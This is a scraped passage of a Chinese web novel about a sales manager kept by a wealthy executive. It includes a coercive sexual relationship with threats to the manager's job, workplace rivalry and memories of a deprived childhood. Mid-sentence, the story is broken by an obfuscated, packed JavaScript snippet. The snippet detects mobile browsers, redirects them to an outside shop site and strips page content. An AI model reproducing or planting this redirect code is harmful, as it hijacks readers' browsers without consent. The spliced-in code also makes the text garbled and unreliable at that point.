“不嫌弃你为啥生气,还掐我后脖子?”元丰试探着,又怕贺总反复无常。 “闹什么脾气?”贺颜语气缓和,“不过lu/yin癖这个毛病,得改。” “……” 妈的,所以到底恶不恶心啊?如果真恶心,为啥包养自己?可要是不恶心,贺总刚才明显很生气,都气不/举了。 元丰他脑子有点晕,想不明白了。 “行了,别胡思乱想。”贺颜按了按元丰的后脑勺,“你这半条龙服务,准备磨叽到什么时候?” “……”到头来,还是没躲掉。 …… “看够了吗?” 元丰回过神,顿觉臊得慌,迅速找了个辙,面不改色地胡诌道:“看见这个忽然想起公司里生产的半圆头螺栓,正好昨天有个客户订了——” “别废话。” “……” 出差半个月,贺颜刚才能耐着性子哄小情儿已是最大的极限。 …… 面对突如其来的粗暴,元丰憋闷在心里头的那股火气噌地又冒上来了,伴随着屈辱感。他左手掐上贺总结实的大腿,恨不得把指甲都给嵌进去。 贺颜绷紧大腿肌肉,揪住元丰头发把他给拎了起来:“胆儿挺肥,还学会动手了。” “啊……疼疼疼!”元丰头皮被扯得很痛,立刻求饶,“我错了我错了,啊,头疼,快疼死了!” 贺颜松了些力道:“错哪儿了?” “我不该掐你的,谁让你先按我脑袋……”元丰声音越说越小,“着啥急,操……” “操?” 元丰支支吾吾:“我没爆粗,我……我漏了个字儿!我是说艹我,赶紧来吧,我明天还上班呢。” 贺颜揪着元丰头发逼他抬头,“以后在这个房间里,除了叫chuang,把嘴给我闭紧了。” “……” “再让我听到一句废话,你这业务经理的位置……”贺颜捕捉到元丰细微的神情变化,他问,“听明白了么?” 元丰小幅度地连连点头,表示听明白了。 贺颜头回在办事之前浪费这么多口舌,权当给这不听话的小子上教育课了。 元丰十九岁进的雄威,从厂房学徒到工人,一步一个脚印坐上了现在的位置。走的唯一捷径就是当时的业务经理因为赏识他,跟老板打了申请,把他换到了业务部。 他到现在都记得签上第一笔大单时的那种喜悦和激动,黄总经理还在会议上点名表扬了他,当场给他发了五百元奖金,鼓励其他业务员向他学习。 元丰享受这种成功的感觉,所以更加拼命地跑业务,签大单。 当上经理后,他学着黄总经理,每个月都会从自己的小金库里掏出三百元,鼓励业绩做得最好的业务员。他在工作中找到了自己的价值与成就。 这是他有生以来,唯一值得骄傲并且忍不住想要炫耀的事儿。这种脚踏实地的成就感,生来就投了个好胎的贺总怎么会懂? 元丰完全相信贺总有这个实力搞砸他的饭碗。 …… “活该。” “都是因为你这个变态!”元丰痛苦不堪,气得骂骂咧咧,“我跟你没完!我都记下来了!你给我等着!” “行,我等着。”贺颜从没这么服气过谁。 “你要干啥?!” “闭嘴!” …… “贺总,我刚才一时口误,你……你别放在心上啊。” …… 元丰气得脸都黑了,在心里唾弃着自己这个不争气的玩意儿。 贺总是变态,你自己也好不到哪儿去! 冲完澡,见元丰已经盖上了薄毯,贺颜走到床边坐下,“去洗澡。” 元丰不想说话,所以没接茬。 贺颜隔着毯子摸了摸他,“又闹什么脾气?” 元丰没有闹脾气,单纯心里不痛快。因为贺总,也因为自己的身体反应。 他闭上眼睛准备睡觉,身上的毯子被贺总给掀开了。 “说话。” “你干吗!”元丰拉扯着贺总手里的毯子,回怼道,“你自己说在这个房间里不能说话的,我现在不说话,你又逼我说话!” “少说废话,长耳朵了吗?”贺颜催促,“赶紧去洗澡。” “我擦过了,我要睡觉。”元丰翻了个身。 贺颜没再勉强,拿出抽屉里的软膏,拍了拍元丰的屁股蛋子,“我看看伤口。” “……”元丰愣了两秒,没再扭捏,听话地照做了。 …… “嘶。”元丰难受地皱起眉头。 “现在知道疼了?该。”贺颜动作并不算温柔,接着问,“明天几点上班?” 困意来袭,元丰恹恹地回道:“七点半出门……” 贺颜重新替他盖上毯子,去了卫生间。 就在元丰迷迷糊糊快要睡着时,身后传来动静。他睁开困倦的双眼回头看去,发现贺总正靠着床头看手机,没有要走的意思。 他立刻清醒了些,问道:“贺总,你不回去吗?” “今晚睡这儿。”贺颜发完短信,将手机放到一旁。 元丰瞬间坐起来:“那我去客房睡,你在这儿睡吧。” “给我躺着。”贺颜并没有跟情人同床共枕的习惯,只不过元丰这小子忒不识好歹,他倒真不想如他愿。 “……”元丰不喜欢跟别人一块儿睡觉,哪怕是在厂里当工人,他都没有选择员工宿舍,而是在厂房附近租了个二百块钱的小房间。 所以每回贺总干脆利落地走人,他其实还挺庆幸的。 “又不听话了?” “贺总,我这人睡相特别差。”元丰慢慢地下了床,自黑,“万一踢到你,怎么办啊?而且我还磨牙打呼噜,经常说梦话。” 贺颜一脸严肃地盯着元丰:“明天不上班了?给我躺着睡觉。” 元丰不敢再激怒贺总,老实地躺了回去。他侧躺在床上,打算等贺总睡着了再偷偷溜去客房。 这等啊等,把自己给等睡着了。 贺颜看着那瘦弱的背脊,替元丰盖好了毯子。 元丰很久没做梦了,梦里的他回到了十一岁那年。 “小丰,爸明天就送你去学校,咱们从三年级开始重新读,好好学,知道不?” “我不想上学了,我不要上学!” “你这孩子咋这么不懂事儿?!念叨着想上学的是你,现在能上了咋又不肯上?” “妈,我能干活儿啊……我会干很多很多……” “小丰,你是个好孩子,是妈对不起你……” 贺颜被断断续续的说话声给吵醒了,他睁开双眼,伸手打开了床头的夜灯。 元丰缩在床沿那儿,嘴里还在胡言乱语。原来说梦话是真的,他看元丰缩得都快滚下床了,伸手准备把人给捞回来。 肩膀处传来令人恶心的触感,元丰本能地抗拒着,随后大叫道:“滚!别碰我!” 贺颜脸色一黑,把要摔下去的人给拉回来:“抽什么风?” 元丰听到声音,愣愣地盯着贺总,蒙眬的双眼逐渐清明。 “睡相确实够差的。”贺颜下了床,“我去客房睡,明天让陈硕送你上班。” 元丰头脑昏沉,坐起来点了点头:“谢谢贺总。” “睡吧。” 因为噩梦,元丰彻底没了睡意,一个人在床上静坐了许久。 翌日。 元丰萎靡不振地去了卫生间刷牙洗脸,镜子里的他很憔悴,双眼微红还有血丝,昨天穿的polo衫和西裤已经脏了,头发的定型喷雾也没有。 他只能从柜子里随便找了一身干净的衣裤,简单地捋了捋头发。 “先生,你是想吃包子呀还是喝粥?”保姆刘秀珍见到元丰,立刻热情地迎上去。 多亏了这懂事儿的孩子,她在家连休了半个月。 元丰看到许久没见的保姆,打起招呼:“刘姨,我喝粥吧。” “好嘞,我这就去给你盛。” “谢谢啊。” “哎哟,先生太客气了。” 元丰这才看到正在用餐的贺总,旁边还站着助理陈硕。为了以后的日子能好受些,这该有的礼数不能少,他决定再努力一把。 于是走过去,主动对陈硕招呼:“陈助理,早上好!” “……”陈硕愣了一瞬,随即礼貌地回,“元先生,早上好。” 元丰拉开椅子坐下来,开始吃早饭。 “今晚要做报表吗?”贺颜放下杯子,提醒道,“想好了再回答。” 元丰还有些隐隐作痛,想了会儿:“今天不加班。” “让陈硕去接你,该搬的东西都搬过来。” 元丰哦了一声说:“我知道了。” 吃完早饭,元丰就跟着陈硕下楼了。电梯里很安静,他琢磨着该怎么跟陈硕套近乎,对方却突然开口了。 “元先生,以后请不要当着贺总的面这样。” 元丰故意问:“哪样啊?” “无视贺总的存在跟我打招呼。” “我是在无视他啊。”元丰来了新思路,转而问陈硕,“我今天很憔悴是不是?” 陈硕不得不回答:“确实。” “我脑子也晕得要命,估计都没法好好上班了。”元丰不满地抱怨,“他昨晚折腾我一宿,我现在看见他就来气!你看到惹你生气的人,还能给好脸色啊?我没骂他几句,就不错了!” 陈硕:“……” 要换之前,元丰根本不好意思和陈硕讲这种话。但他一想,作为变态的助理,什么大风大浪没见过啊,自己还有啥可害臊的? 大丈夫不光能屈能伸,还要能进能退。 一路沉默,汽车停在了大食堂门口。 元丰准备下车,陈硕出声提醒:“元先生,我大概六点左右会到。” “哦,谢谢你啊。”他试探地问,“贺总今天会不会加班啊?” “不好意思,这个我没办法准确回答你。” 元丰就知道会是这个结果,他笑着说:“没事儿,我就随便问问。其实我是想他早点回来陪我,你看他一出差就是半个月,也不跟我联系。” 陈硕听完很想提醒元丰,既然这样,早上更应该和贺总打招呼,而不是任性耍脾气。 不过他没有立场,贺总的历任情人下场都一样,投入太多不是好事。 “以后他要是不加班,你能提前跟我说一下吗?”元丰想了想,假装难过地补充,“你要是不方便就算了……我在家里等他……” 虽然是助理,但陈硕只是负责擦屁股的,也有不了解行程的时候。他认真地思考了片刻才说:“确实不太方便,不好意思。” 操,浪费老子这么多口水。元丰气得拉开车门,告诉自己要沉住气。 “那行吧。我走了。” “好的,祝你工作愉快。” “……”愉快个屁! 元丰见时间没剩多少了,快步朝着公司的方向走去。锦西湾之前带过去的两身衣服和皮鞋又被他带回家了,除了贺总买的新衣服,连内裤都没的换,还以为真空上阵能舒服些,结果走快了得特别不舒服。 他想起昨晚贺总对他干的事儿,这变态接受能力变强了,得重新想个法子。 陈硕开车去了集团总部,他不确定会不会挨批。刚到办公室门口,遇到了贺总的助理邵彤。 “稀客啊,陈助理今天怎么会过来?”邵彤笑着打招呼。 “邵助理好,我来汇报工作。”陈硕问,“贺总来了吗?” “他刚到,我先去泡咖啡。”邵彤说完,又问,“需要给你泡一杯吗?” “好,谢谢。” “客气什么。” 陈硕敲了敲门,听到一声“进来”,才推门而入。 他走到贺总跟前,恭敬道:“贺总。” “嗯。”贺颜看着手中的项目报告,头也没抬。 “您在忙的话,我待会儿再来汇报。” “没事儿,说。” “我跟元先生一直保持着合适的距离,他几次向我打听您的情况。”因为有过前车之鉴,陈硕毫无隐瞒地将他跟元丰之间的对话,复述给了贺总。 这些对话,他都认真地记在手机备忘录里。 贺颜听完,问:“是原话吗?” “是的,贺总。”陈硕请示,“他问我您今晚是否加班,需要告知吗?” 能说出想要自己陪这种话,贺颜估摸着元丰那小子心里又在算计什么。这一天天的,跟猴似的上蹿下跳。 “告诉他吧,这期间你接送他上下班。什么该说什么不该说,自己注意分寸。” “好的,我明白了。” “下去吧。” 元丰一整天都没什么精神,中午也没陪小美去吃饭,而是点了份外卖。他今天穿得过于年轻,头发也没打理,导致整个人都没什么威严。 杨伟那个吃里爬外的又凑上来拍马屁,说自己正在谈一个单子,估计很快能成。他面上平静地鼓励了两句,心里却烦躁得很。 不过仔细一想,方远那个傻逼愿意给业务部增加业绩,没什么不好。他再仔细地盯着点儿,应该出不了岔子。 下班前,元丰接到陈硕的电话。他把办公室的门关上,才接通:“陈助理,六点还没到,你这么早就来了?” “还没有出发,打电话来是想告诉你,贺总晚上有应酬,不过来了。” 元丰不知道陈硕为什么又方便了,听到这个好消息,心里头可算舒坦不少,至少今晚不用受罪了。 他遗憾地说:“我还挺想贺总回来的,不过他有应酬也没办法。陈助理,谢谢你啊。” “不客气,我先挂了。” “好的,再见啊。” 在助理陈硕的帮助下,元丰又搬回了锦西湾。到家时,桌上有刘姨做好的四菜一汤,很丰盛。他心情大好:“陈助理,留下来一块儿吃吧。” “不用,我走了。” “你老这么客气干啥啊?”元丰拉住要走的陈硕,“留下来吃啊,我一个人吃不完。” “元先生,真的不用。请不要拉拉扯扯,影响很不好。” “……”元丰赶紧松手,“好好好,我不拉你,我去给你盛饭,留下来吃吧。” “好。” 多好的一个突破口,元丰给陈硕盛了满满一大碗白米饭,等他回到客厅,发现人没了。 操,溜得这么快。 元丰现在能两只手吃饭了,虽然麻烦了些。他在米饭上装了不少菜,端到茶几那儿又打开电视机,随便找了个相亲类的综艺节目,边吃边看。 贺颜一进屋,就听到了什么“心动女生”“男嘉宾”之类的台词,见元丰抓着排骨正在啃。 “什么习惯,以后吃完了再看。” 元丰惊得排骨都掉了:“贺总,你……你不是在应酬吗?” “推了。”贺颜走到他身边坐下,“一个人吃饭,寂寞么?” “怎么会寂寞……”别提多他妈开心了,元丰心说。 “不想我回来?” 元丰知道陈硕肯定会通风报信,他面露难色:“贺总,你千万别为了我推掉应酬,这多不好意思啊。” 贺颜伸手揉着元丰细软的头发:“你这脑瓜子,做经理有些屈才。” “……” 当晚,顺理成章。 元丰快崩溃了,连着被贺总折腾三天,其实他也爽了三天,觉得自己被传染了,也成了一个变态。还好这三个晚上贺总都没留下来过夜,再这么下去,他真的要疯。 真希望贺总那个变态能不停地加班应酬,最好直接出差,出到火星上去。 “丰哥,你有心事儿吗?” “啊,没没没。”元丰回过神,见小美正一脸关心地看着自己,赶紧笑着解释,“在想订单的事儿,快吃吧。” “你老这么拼,吃饭都不忘想工作。”小美给元丰夹了个红烧鸡翅,“多吃一点。” 元丰在心里叹了口气,他倒是宁愿想工作。看着体贴的小美,他突然想起还没给她买衣服,陈硕现在天天接送他上下班,也没个能出去逛街的机会。 吃完饭,俩人一块儿往公司走,迎面碰上了从香满楼里出来的售后部经理。香满楼是他们这片比较好的酒楼,除非请客应酬,一般不会上这儿来吃午饭。 方远手上提了一兜子打包好的饭菜,看到他俩时,主动笑着打招呼:“哟,元经理这是陪女朋友刚吃完饭?” 小美往元丰身边靠了靠,没搭理。 元丰扯出公式化的假笑,试探道:“方经理都吃上香满楼了,真够豪气的。” “这人逢喜事精神爽啊,可不得吃点好的?”方远说完,转身走了。 元丰盯着前方的背影看了几秒,又侧头看了眼香满楼的招牌。可以送餐上门的酒楼,方远却亲自过来买,不用想都知道在讨好谁。 同为下属,方远上赶着拍黄总经理的马屁,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658610|144025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有立场去阻拦,即便能阻拦他也不屑干这种事儿,总经理这个岁数的人,心里能没数吗? “丰哥……”小美说,“方经理这两天心情好像很好,咱俩假装处对象后,他还私下里发短信给我,说些乱七八糟的。但发过两次之后,就没发了。” 元丰大概能猜到短信内容,无非就是些不入流的荤话。平心而论,方远这傻缺五官端正长得不错,奈何太过猥琐下流,遭人反感。 元丰刚回到办公室,下属跟了进来。 “经理,我签上了!”杨伟把合同递过去,激动地说,“订单我已经录进系统了,合同在这里。” 元丰接过那份产品购销合同,仔细看起来。 乙方是家没听说过的金属制品有限公司,订购的数量不算多,总额不过才二十几万,应该是家刚起步的小公司。 他猜测这家公司的老板可能是方远亲戚,所以打了些折扣。 “折扣的事儿,怎么没跟我汇报?” 杨伟早就准备好了说辞:“是这样的啊,经理。老板是方经理家的亲戚,他请示过黄总经理了。当时你出去吃饭了,人不在。我是得到黄总经理的批准,才给签下的合同。后来一时给忘了,嘿嘿。” 元丰抬眼盯着嬉皮笑脸的杨伟,严肃道:“我在吃饭就不能给我打个电话了?下不为例!” “是是,一时疏忽了。”杨伟赔笑着道歉,“我的错我的错。” “你出去吧。” “好嘞。” 陈硕六点准时等候在大食堂门口的路边,半小时后,副驾车门被打开。 “不好意思啊,陈助理。”元丰打开车门,递给陈硕一杯金橘柠檬茶,“给,加冰了,特别爽。” “……”陈硕犹豫了两秒,接过了,“谢谢元先生。” “客气啥啊!”元丰打开塑料袋,拿吸管戳开自己的柠檬绿茶,他猛吸了一口才问,“贺总加班不?” “贺总今晚有应酬,不确定会不会过去。”陈硕回道。 “哦哦,那咱们喝完再走。”元丰见陈硕没动,把绿茶夹在腿间,伸手拿过他的那份,动作利落地拆开吸管包装,在不触碰吸管的情况下,替他插上了。 “给,快喝。” 陈硕有些不好意思,又说了声谢谢。 “别谢了。”元丰拿起绿茶靠着副驾座椅,边喝边说,“不知道你爱喝哪个,随便点的。” 陈硕喝了一口,口感冰爽微甜,透心凉。他说:“这个就可以,味道很好。” 元丰感觉陈硕没之前那么像机器人了,他借着这个机会东拉西扯地闲聊,基本都是他在说,陈硕简短又礼貌地回。 元丰试着挽留陈硕吃饭,对方依旧不给面子。他也没勉强,一个人坐在餐桌前美滋滋地吃了个痛快。 吃完后,他先洗了个澡,然后回到客厅打开电视,继续看起上回那个相亲节目。 看到九点半,他关了电视回房睡觉,结果刚躺下没几分钟,客厅传来关门声。 妈的,不是在应酬吗? 元丰立刻闭上眼睛假装睡觉,没多久,卧室门被打开了。 卧室一片漆黑,贺颜打开灯,走到床沿那儿坐下。 元丰闻到了淡淡的酒气,为了明天能好好工作,决定继续装睡,能躲则躲。他竖起耳朵听着动静,屁股上的手没了,贺总站起来了。 终于要走了,赶紧给我把灯关了! 贺颜准备关门,注意到元丰白嫩的脚丫子。灯光下,那脚底板显得更白。 “啊,操!”脚底板突然被挠,元丰本能地用力一蹬,踹到一条结实的胳膊。 贺颜重新坐回床边:“还学会装睡了,胆儿不小。” 元丰迅速打了个哈欠:“没啊……贺总你为啥吵醒我……困死了……” “身体怎么样了?”贺颜问。 “还没好……” 贺颜皱起眉头:“怎么还没养好?给我检查!” “……”元丰觉得贺总好像喝醉了,他打起商量,“快好了,明,后天行不?后天就好了。” 贺颜盯着元丰,没说话。 元丰被贺总盯得有些心慌,于是主动上前勾住那条结实的胳膊,讨好道:“贺总,你都喝酒了,得好好休息,不适合做剧烈运动。要不我扶你去洗澡,给你搓搓背?” 贺颜很满意:“挺会来事儿。” 元丰拿着浴球,用力搓着贺总的后背,越搓越来气。“你挠痒痒呢?” “……”他被这话刺激得更加来气,用了十足的力道,狠狠地搓着,恨不得把那层皮都给搓下来。 贺颜笑了:“这劲儿还凑合,继续。” 元丰还没搓够一分钟,手就酸得要命:“贺总,你身上真干净,连个泥丸都搓不出来,我能不能去睡了啊?” 贺颜关掉花洒,把人拉到跟前:“来两下再去。” 元丰前两天中午趁着午休去了趟银行,支票已经被他兑现,存进了银行卡里。本来收了这么多钱,心情还挺复杂的,他觉得贺总给多了。 但此刻,他不这么想了。 贺总肯定是因为那啥过强才不得不抬高价码,不然谁愿意跟他啊。 …… “……”元丰被喜怒无常的贺总搞得差点爆粗口,一想对方喝过酒了,还是不要得罪比较好。 他突然想起以前在哪儿看过一句话,习惯是在习惯中养成的。好比现在这事儿,自己居然还能一回生二回熟,吃着吃着,也就习惯了。 都他妈拜贺总这个变态所赐。 贺颜摸着元丰的脑袋,又满意地夸了两句。 元丰起身讨好道:“贺总,我能不能走了?” “去吧。”贺颜被取悦得很舒心,把小情儿给放走了。 元丰火速开溜,跑到门口,回头问:“贺总,你晚上留下来过夜不?” “怎么,想让我陪你睡觉?”贺颜打开花洒,继续冲着澡。 “啊,没有没有。”元丰瞧着贺总好像不大乐意,这才放下心。 不过保险起见,还是得等人走了再睡。他从床头柜旁边的收纳箱里拿出一本之前没看完的书,打算看一会儿。 除了一些行李,他特地带了好几本书过来。这些书还是他从地摊上认真淘来的,因为书店倒闭特价处理,他捡了个便宜。 贺颜走出卫生间,床上那一幕令他感到意外,没想到元丰这小子会看书。他走过去,抽走那本书看了看封面,《教你如何改变人生》。 元丰正看得津津有味,手上的书突然没了,伸手要抢:“我这看得好好的,快给我!” “想改变人生还看什么书?”贺颜合上书,扔到床头柜上,“好好伺候我,比什么都强。” “……”元丰没了看书的心思,拿起那本书,打开收纳箱准备收起来。 贺颜这才看到箱子里还码着好几本书,最上面躺着一本《教你如何赚大钱》。他弯腰拿起那本书,目光又被下面那本《教你如何做人》给吸引了。 “你别动我书啊!”元丰抢过贺总手里的书,“我这些书不外借,你想看让陈助理给你买去。” 贺颜看了元丰一眼,拿起收纳箱里的最后两本书,《教你如何做事》和《教你如何学会说话》。 “别拆封啊,这两本我还没看过。”元丰快速把那两本书抢了回来,抱在怀里。 这小子总是这么出乎人意料,贺颜笑着问:“你这业务经理是走了后门?” 元丰不知道贺总几个意思,激动地反驳道:“走个屁!我业务做得好,靠的全是实力。” “看的都是些什么乱七八糟的书。”贺颜用食指轻轻地敲了敲元丰的脑门儿,“少交点智商税。” 元丰气都要气死了,懒得搭理贺总,把五本书重新整齐地码进收纳箱。 “喜欢看书是好事儿。”贺颜说,“回头我让陈硕给你带几本,这些可以扔了。” “这都是我花钱买来的,为啥要扔?” 贺颜嗯了一声,问:“多少钱买的?” “十块钱一斤。” 贺颜真服了,他捉弄道:“没再仔细找找,看看有没有《教你如何**》?” “……”元丰真想骂死贺总这个变态,他不爽地大声回道,“没有!” 贺颜笑着摸上元丰的脑瓜子:“怎么喜欢看这种书?” 元丰敷衍道:“无聊,随便看看。” 他不想让贺总知道,其实看书是为了提升自己的知识面和眼界。 一个人独自生活的这十一年里,但凡有点空闲的时间,他都会看看书,什么乱七八糟的都看。贺总这种受过高等教育的有钱人,是不会理解的。自己说出来,也只会被嘲笑。 元丰排行老大,下面还有两个妹妹和一个弟弟。因为畸形的身体,他在重男轻女的家庭里过得并不算好。 念到小学二年级时,他的弟弟出生了,他的学业被迫终止,瘦弱的小身板扛起了生活上的重担。 他的童年,只有干不完的农活儿。 7. 第 7 章 …… 元丰绝望地躺在床上,心里恨死了自己这个不听话的声音。 但他更恨贺总那个说话不算话的变态,说好让他睡觉的,却还是每晚都折腾他。 贺颜刚下床,就察觉到元丰的视线。 “你那什么眼神?” “没啊……”元丰收回怨恨的眼神,灵活地转了转眼珠子。 贺颜看了他一眼,转身去了卫生间。 听着传来的水流声,元丰琢磨着要怎么才能结束合同。经过这几天的边缘行为,他发现贺总除了不能看之外,好像一点都不排斥了。再这么下去,他迟早得面临更大的折腾。 贺颜洗完澡,卫生间的门被打开了,他腾开位置给元丰。 元丰扶着门框没进去,故作一脸痛苦地说:“贺总,我走路都在疼……” 贺颜不紧不慢擦着头发上的水,将额前的湿发向后捋了两下才开口:“明天请假别去上班了。” “那不行!我从不无故缺勤!”元丰中气十足地回完,赶紧哎哟了一声,“真疼啊……” “真敬业。”贺颜笑了,“跟我说就不疼了?明天让陈硕给你弄个轮椅。” “……”元丰憋着火,眼巴巴地盯着贺总,低声说,“好像肿了,贺总你帮我看看,行不?” 贺颜无动于衷。 见状,元丰丧气地垂下脑袋,“你之前还说不嫌弃的,你这就是在嫌弃我,为啥还非要包养我?我要是能看到,就不用你帮忙了。” 贺颜:“……” “再说了,这也是你弄的啊,我都没怪你,你帮我看一眼都不行吗?” 贺颜头疼地打断元丰:“行了,话多。” “那你帮不帮啊。”元丰小声问。 “去床上躺着。” “哦哦,谢谢贺总。” 元丰故意走得十分艰难,可劲儿装,事实也确实不舒服。贺颜匆匆给一眼神,说道:“请假在家歇几天。” 元丰很满意贺总压根不想多看的反应,却被这话弄得有些懵逼。他刚才自己事先检查过了,哪里需要请假。 “贺总,真的很严重啊?” 贺颜淡淡嗯了声:“我看还得打个120。” “……” “这lu/yin癖治不好,趁早割了。” “……” “去洗澡,洗完睡觉。”贺颜上了床。 “本来就疼啊。”元丰打起商量,“贺总,要不我在你这儿请几天假,你看行不?而且纵欲伤身,为了身体的健康——” “少说废话,赶紧的。” “哦。”元丰憋着一肚子火,去了卫生间。 隔天一早,闹钟响过之后,元丰又眯了两分钟才起床,打着哈欠去了主卧的卫生间刷牙洗脸。 洗漱完去了客厅,刘姨热情地问他想吃什么,他四处看了一圈,屋里没别人。 保姆刘秀珍出声提醒:“贺先生一早就走了。” “哦,好。”元丰笑着说,“刘姨,我想吃肉包子。” 陈硕在车里静静坐着,没多久,他看到元丰从单元楼里出来了,手上除了公文包,还拎着个塑料袋。 元丰打开副驾车门,先把袋子递给了陈硕:“早啊,陈助理。不知道你吃了没,给你带了俩肉包。” 陈硕接过:“谢谢元先生。” “客气啥啊,等你吃完再走。” “……”陈硕不太好意思,又说了声谢谢。 “别谢了,你先吃。” 元丰现在可劲儿巴结陈硕,贴心地说:“别饿着,慢慢吃。我包里还有奶,等着啊。” “……”陈硕猛地咳了一下,差点被噎死。 元丰往公司的方向走着,后头传来嘀一声。他没有理会继续往前走,那车又嘀了两下,一辆白色宝马出现在眼前,跟着他就看见了主驾位上的方远。 “哟,元经理。”方远笑着客套,“走路多辛苦啊,用不用我捎你一段路?” 拢共不过两分钟的距离,元丰刚要拒绝,话到嘴边改了口:“那真是麻烦方经理了,正好走得有些累。” “……”方远脸色一变,没料到元丰居然真打算上。他迅速收敛表情,靠边停车。 元丰打开后车门,不客气地坐了进去。 “元经理这身体素质有些弱啊,怎么不在家多歇俩月?”方远踩上油门,继续调侃,“这钱哪,别刚挣到手,转头就往医院送。” 元丰拳头握紧又放松,他摸了摸座椅上的皮,随口问道:“这是真皮的?” 方远透过车内后视镜,从元丰眼里看出几分羡慕,得意道:“不是真的,难道是假的?” 方远开得起宝马,是元丰没想到的。 这傻缺天天骑个破电动车上下班,怎么突然开上车了?上回说人逢喜事精神爽,对自己来说,恐怕不是什么好事儿。 到了公司,元丰才知道方远为什么会这么得意了。开完部门会议后,他被内线电话叫去了黄总经理的办公室,会客沙发那儿坐着方远。 “方经理,黄总经理。”他礼貌地打起招呼。 “小元啊,过来坐。”黄振兴吩咐女助理出去泡茶,他在对面的沙发上坐下来,笑着说,“咱们雄威发展到如今这规模啊,有你们的功劳。现在啊……” 元丰不动声色地观察着方远的表情,黄总经理啰里八唆地感慨了七八分钟才切入主题,主要内容就是雄威接下来的发展。 因为公司近年来效益相当不错,准备扩大规模。黄总经理他哥,也就是雄威另外一位大老板,前阵子刚收购了一家要倒闭的工厂,等厂子运作起来,分公司需要一位优秀的业务经理。 “小元啊。”黄振兴说道,“我让小方下个月调去业务部,你好好带带他,等他能独立上手了,你就去分公司。” 果然,元丰听到一半就知道会是这个结果,总经理叫他过来不是商量的,而是直接通知他。 虽说开辟新天地更具有挑战性,但现在市场已经饱和,客户群体难以拓宽。 哪怕是元丰自己,都知道难度有多大。他跑了三年业务,深知走到今天这一步有多不容易,别人只会眼红他风光地签了一笔又一笔的大单,却看不见他背后付出的辛酸与努力。 他好不容易稳定到现在的位置,何况自己跑出来的客户,哪有拱手让人的道理?更别提手把手教方远那个傻逼,暴揍一顿还差不多。 出了办公室,元丰被拦住了去路。 “元经理,多多指教啊。”方远笑得贱嗖嗖的。 元丰面无表情地盯着方远,突然笑了:“指教你妈了个逼!” “你他妈的!”方远抡起胳膊,挥到半空中又停下,随后摸向自己的衣领,一边整理一边嘲讽:“兢兢业业为了雄威,真是辛苦元经理了。啧……这位子还没坐热,就得给人腾地方。” 元丰忍着暴打方远的冲动,用力把人撞开。 “个子不大,脾气倒挺大。”方远拍了拍被撞到的肩膀,笑着感慨,“唉,丧家犬啊……” 元丰脚步一顿,双手紧紧握成拳,迅速离开了。 回到办公室,他坐在椅子上什么都没干,认真思考着接下来的安排。 临近饭点,元丰推了小美的邀约,打算请黄总经理吃个饭,顺便谈谈工作调动的问题。然而还没走到办公室门口,就见方远跟黄总经理一块儿从里面走了出来。 黄振兴看到自己的得力下属,问道:“小元,吃了没?” 元丰刻意忽视方远那傻缺,笑着回道:“总经理,我刚——” “元经理。”方远直接打断,“既然没吃就一块儿去吧,我跟总经理正要去香满楼,包间都订好了。” “是啊,小元也一块儿过来。”黄振兴上前拍了拍元丰的肩膀,“走。” 香满楼离雄威也就步行七八分钟的距离,方远却显摆地开出他那辆宝马,狗腿地打开后座侧门:“总经理,这日头大,快上车。” 元丰跟着上了副驾,心里的怒火是噌噌噌地往上涨,看这架势,他觉得自己可能说不动总经理了。雄威现在的业务已经稳定,总经理看中他的实力和敬业精神,肯定会派他去分公司开拓新市场。 香满楼。 方远从西裤兜里掏出一包软中华,先是态度恭敬地给总经理发了一根,替他点上,随后才甩了一根给元丰:“好像没怎么见元经理抽过烟。这男人啊,哪有不抽烟的?” 元丰冷冷地瞥了方远一眼,拿起那根烟叼进嘴里,接过对方递来的打火机,手法娴熟地点上烟。他猛吸了一口,趁着黄总经理看菜单的工夫,将嘴里的烟雾全吐在了那张屌脸上。 “你!”方远迅速站起身,怒瞪着挑衅他的元丰。他本想羞辱一番,没想到这个细胳膊细腿的小白脸居然会抽烟。 看到傻缺愤怒的嘴脸,元丰这才痛快一些。他靠在椅子上,一口接一口地吸着烟,试图驱赶心中的烦躁。操。 不到万不得已,他还真不想辞职。 这顿饭吃得元丰更加烦躁,筷子都没怎么动过。回去的时候,他借口说有东西要买,没再上方远的车。 “丰哥!” 元丰闻声回头,小美打着遮阳伞冲他跑来。他收起烦闷的情绪:“吃过了?” “吃了。”小美把伞歪到元丰那儿,关心道,“丰哥,我看到你从香满楼出来了,没事儿吧?” “没事儿。”元丰伸手握住伞柄歪了回去,他问,“小美,有啥喜欢的吗?” “你又不是不知道。”小美有些不好意思地低下头,“还问人家干吗……” “……”元丰给不了任何回应,即便是想,也不能。他突然有些心累,深深的无力感从心底蔓延至全身,让他觉得极其乏力。 自己这样的人,或许生来就注定什么都没有。 心上人的沉默让小美意识到自己说错话了:“丰哥,我不是想给你造成压力。你当我什么都没说,好不好?” 元丰回过神,笑道:“你怎么会给我造成压力?别瞎想。我在想工作,一时给忘了。” “丰哥你太辛苦了,现在是午休时间,也让自己放松一下嘛。” “好,是该放松一下了。”元丰已经做好最坏的打算,“小美,下班了先别走,带你出去玩。” 小美惊喜道:“真的吗?” “嗯,真的。” “好!” 元丰下班前拨通了陈硕的电话,谎称自己晚上要加班,不用接了。哪承想对方比他这个业务经理还要敬业,说什么都要过来接,商量到最后,陈硕让他快下班时再打电话通知一声。 他带着小美,打车去了市区里的大商场。“丰哥,咱们来这儿干吗呀?” 小美拉住元丰,“这里面都是卖衣服和鞋的,没有电影院。” “我知道。”元丰说,“先去看看女装,给你买两身衣服。” 小美愣住了,随即拒绝道:“我不要!说好了先逛街再看电影的,咱们去逛街。” “不听我的,逛街和电影都没了。” “……”小美一脸为难,“我有衣服穿,真的不要。” 面对小美的拒绝,元丰不得不牵住她的手腕:“不买也行,咱们就在里面转转。” “好,那听你的。”小美看着手腕上的那只手,笑着跟了上去。 